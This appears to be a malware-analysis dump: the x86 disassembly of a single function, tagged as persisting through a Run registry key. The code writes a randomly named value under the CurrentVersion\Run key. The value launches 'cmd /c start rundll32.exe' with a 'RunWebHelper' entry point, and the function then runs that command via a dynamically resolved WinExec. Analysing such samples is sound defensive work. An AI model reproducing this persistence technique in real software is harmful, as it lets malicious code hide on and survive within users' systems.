Function at 0x10001cc0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015d205
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x48
mov eax, dword [0x101b7e80]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x34], ecx
push 0
lea eax, [ebp - 0x30]
push eax
push 0
push 2
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, eax
test edi, edi
jne 0x10001f87
mov edx, dword [esi + 0x10]
mov eax, SysReAllocString
sub eax, edx
mov dword [ebp - 0x38], edx
cmp eax, 0x1b
jb 0x10001fac
cmp dword [esi + 0x14], 0xf
jbe 0x10001d4e
mov esi, dword [esi]
mov dword [ebp - 0x34], esi
lea ecx, [edx + 0x1b]
mov dword [ebp - 0x40], 0
mov esi, 0xf
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x54], ecx
xorps xmm0, xmm0
lea edi, [ebp - 0x50]
movups xmmword [ebp - 0x50], xmm0
cmp ecx, esi
jbe 0x10001de8
mov esi, ecx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x10001dab
mov ecx, SysReAllocString
mov esi, SysReAllocString
add ecx, 0x23
push ecx
call fcn.10002bf5
add esp, 4
test eax, eax
je 0x10001fb6
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x10001ddf
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
test eax, eax
jne 0x10001dc0
xor edi, edi
jmp 0x10001de5
cmp eax, 0x1000
jb 0x10001dd4
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x10001fb1
jmp 0x10001d8f
push eax
call fcn.10002bf5
add esp, 4
mov edi, eax
mov edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x50], edi
movups xmm0, xmmword [str.cmd__c_start_rundll32.exe__]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], esi
movups xmmword [edi], xmm0
push edx
movq xmm0, qword [0x1019bf7c]
push dword [ebp - 0x34]
movq qword [edi + 0x10], xmm0
mov ax, word [0x1019bf84]
mov word [edi + 0x18], ax
mov al, byte [0x1019bf86]
mov byte [edi + 0x1a], al
lea eax, [edi + 0x1b]
push eax
call fcn.1013e6c0
mov eax, dword [ebp - 0x38]
add esp, 0xc
mov byte [edi + eax + 0x1b], 0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x3c]
mov eax, edx
mov ecx, dword [ebp - 0x40]
sub eax, ecx
push 0xe
push str.__RunWebHelper
cmp eax, 0xe
jb 0x10001e70
cmp edx, 0xf
lea esi, [ebp - 0x50]
lea eax, [ecx + 0xe]
cmova esi, dword [ebp - 0x50]
add esi, ecx
mov dword [ebp - 0x40], eax
push esi
call fcn.1013e6c0
add esp, 0xc
mov byte [esi + 0xe], 0
lea eax, [ebp - 0x50]
jmp 0x10001e81
mov byte [ebp - 0x34], 0
lea ecx, [ebp - 0x50]
push dword [ebp - 0x34]
push 0xe
call fcn.100027e0
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x10001ef0
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001ee6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001fb6
push ecx
push edx
call fcn.1013c99a
add esp, 8
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmova ecx, dword [ebp - 0x2c]
inc eax
push eax
push ecx
push 1
push 0
push str.bwUMxFEY0Qnm
push dword [ebp - 0x30]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.WinExec
push str.kernel32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
push 0
cmova ecx, dword [ebp - 0x2c]
push ecx
call eax
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x10001f87
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001f7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001fbb
push ecx
push edx
call fcn.1013c99a
add esp, 8
xor eax, eax
test edi, edi
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1013c98c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.10001cb0
call fcn.10001c10
call fcn.10141d8f
call fcn.10141d8f
int3